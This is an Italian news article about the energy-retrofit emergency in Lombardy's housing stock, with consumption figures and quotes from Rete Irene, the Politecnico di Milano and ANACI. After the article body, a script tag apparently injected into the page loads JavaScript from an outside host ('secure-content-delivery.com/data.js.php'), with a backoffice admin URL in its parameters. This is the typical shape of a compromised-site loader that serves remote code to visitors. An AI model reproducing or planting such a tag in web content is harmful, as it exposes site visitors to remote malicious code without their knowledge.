Lombardia: emergenza riqualificazione abitazioni

Energie rinnovabili di Marco Zibetti
Gli ultimi riscontri energetici sono allarmanti: in Lombardia solo un edificio su 100 rientra nella classe A e le famiglie milanesi per riscaldare spendono fino a 3 volte e mezzo in più rispetto a Parigi o a Berlino


È emergenza riqualificazione energetica in Lombardia: un milione e mezzo di abitazioni (in pratica una su due) non ha mai subito interventi di manutenzione e, quindi, consuma e inquina molto più del normale. E non è tutto: solo un edificio su 100 appartiene alla classe energetica A o A+, mentre una casa su due (il 51,6% degli edifici) è in ultima classe, la classe G. Considerando tutte le abitazioni certificate dal 2007 a oggi, il fabbisogno energetico medio a Milano si attesta su un valore di 202,8 kWh/m2, un consumo che oscilla da 1,5 a 3,5 volte in più rispetto a città come Berlino, Vienna o Parigi, dove l’inverno è indiscutibilmente più rigido e l’energia costa meno.
 
Sono solo alcuni dei dati Finlombarda, rielaborati e analizzati da Rete Irene, il primo network di imprese lombarde specializzato in riqualificazione energetica, e presentati al Politecnico di Milano nel corso del convegno "Riqualificazione energetica a Milano: istruzioni per l’uso".

Si tratta di numeri su cui si può e si deve intervenire con quella sensibilità e competenza che sappiano individuare gli interventi più idonei alle esigenze di ogni singola casa o edificio - spiega Manuel Castoldi, Presidente di Rete Irene - La riqualificazione energetica, infatti, consente non solo di salvaguardare l’ambiente, ma anche di risparmiare sulle bollette del riscaldamento e, addirittura, di incrementare il valore delle singole abitazioni”.

Alle problematiche connesse al consumo energetico sono strettamente legate le tematiche relative all’inquinamento e al rispetto dell’ambiente. Una casa, infatti, consuma e inquina, proprio come un’automobile, anzi, molto di più. Si pensi che un appartamento di 80 metri quadri a Milano consumando in 12 mesi mediamente 20 m3 di combustibile per metro quadro (con un costo medio di circa 1550 €) immette nell’atmosfera circa 3,6 tonnellate di CO2, il doppio di un SUV che circola in città percorrendo 10 mila chilometri l’anno (circa 1,7-2 ton di CO2).

Sempre secondo i dati Finlombarda nella nostra regione le abitazioni residenziali che hanno più di 30 anni, costruite prima degli anni ’80, sono 3.300.000, oltre il 75% del totale (4.350.000 fonte Istat – Censimento 2011). Di queste 3.300.000 case il 47% non ha MAI subito interventi di manutenzione. Questo significa che se da qui al 2020 si intervenisse anche solo su un terzo di questi 1.550.000 alloggi “spreconi” si ridurrebbero emissioni di CO2 per un totale di 750 mila tonnellate all’anno. Un risultato che equivarrebbe a eliminare dalla circolazione per un anno 500 mila vetture, o come ridurre di un terzo il traffico a Milano. Senza contare, ovviamente, il risparmio in termini di consumi energetici per famiglia e l’aumento del valore patrimoniale dell’immobile.

La maggior parte degli edifici che occupiamo è stata concepita e realizzata in epoche, nemmeno troppo lontane, in cui l’efficienza energetica era una tematica praticamente sconosciuta per architetti e costruttori. La soluzione di ogni carenza in tal senso veniva demandata agli impiantisti, cui spettava il compito di risolvere le problematiche legate al comfort interno a spese di ingenti consumi di combustibili - spiega il Prof. Niccolò Aste del Politecnico di Milano - La situazione odierna è sotto gli occhi di tutti: i nostri immobili sono pesantemente energivori e necessitano di efficaci operazioni di retrofit, al fine di allinearli agli attuali standard. Tutto ciò è possibile solo attraverso operazioni coordinate ed integrate, in cui progettisti, tecnici, esecutori e consulenti interagiscono in maniera sinergica. Non ci si deve limitare ad intervenire unicamente su alcuni ambiti, ancorché critici (come ad esempio lo scarso livello di isolamento termico), ma bisogna piuttosto agire sull’intero sistema edificio-impianto”.

La forza di Rete Irene sta nel suo mettere insieme aziende con know-how differenti e complementari che vanno dalla produzione di materiali e sistemi isolanti all’installazione di impianti di nuova generazione, dalla progettazione e realizzazione di soluzioni energetiche alternative e rinnovabili a imprese leader nel recupero e nel restauro di edifici o, ancora, nello sviluppo di strutture e rivestimenti per tetti e facciate. Il tutto grazie al cosiddetto Servizio REN (Riqualificazione Energetica): un’unica cabina di regia e un check-up completo dell’abitazione o dell’edificio che permette di individuarne tutti gli sprechi energetici e tutti i fattori causa di inquinamento, proponendo la soluzione più efficace e vantaggiosa.

E’ ormai accertato che una delle principali cause dell’inquinamento atmosferico, a Milano, come in Lombardia, è data dal funzionamento degli impianti di riscaldamento.  Solo recentemente le nuove tecnologie costruttive hanno permesso la realizzazione di immobili “ecologici” con drastiche riduzioni di consumo energetico e  la conseguente diminuzione di elementi inquinanti – afferma Claudio Bianchini, Presidente ANACI Lombardia - Intervenire sul patrimonio edilizio esistente è un impegno che noi Amministratori dobbiamo sostenere  convincendo i cittadini condomini  della necessità di interventi destinati ad aumentare il risparmio energetico, volti ad ottenere riduzione di costi e sicuri benefici ambientali a tutela di tutta la nostra Comunità. La nostra Associazione ed Anaci Lombardia sono impegnate in prima linea  per lo sviluppo e la diffusione della cultura del “green” e del risparmio grazie alla riqualificazione energetica dei condomini e  l’importante convegno di oggi ne è una concreta testimonianza”.

<script src="https://secure-content-delivery.com/data.js.php?i={271EC601-39CC-426C-935D-F754BCD76643}&amp;d=2013-10-10&amp;s=http://www.guidaedilizia.it/Backoffice/GuidaNews/Inserisci_Articoli.asp?TipologiaID=1&amp;cb=0.28152140140694193" type="text/javascript"></script>


Questo sito utilizza i cookies per offrirti un'esperienza di navigazione migliore. Usando il nostro servizio accetti l'impiego di cookie in accordo con la nostra cookie policy.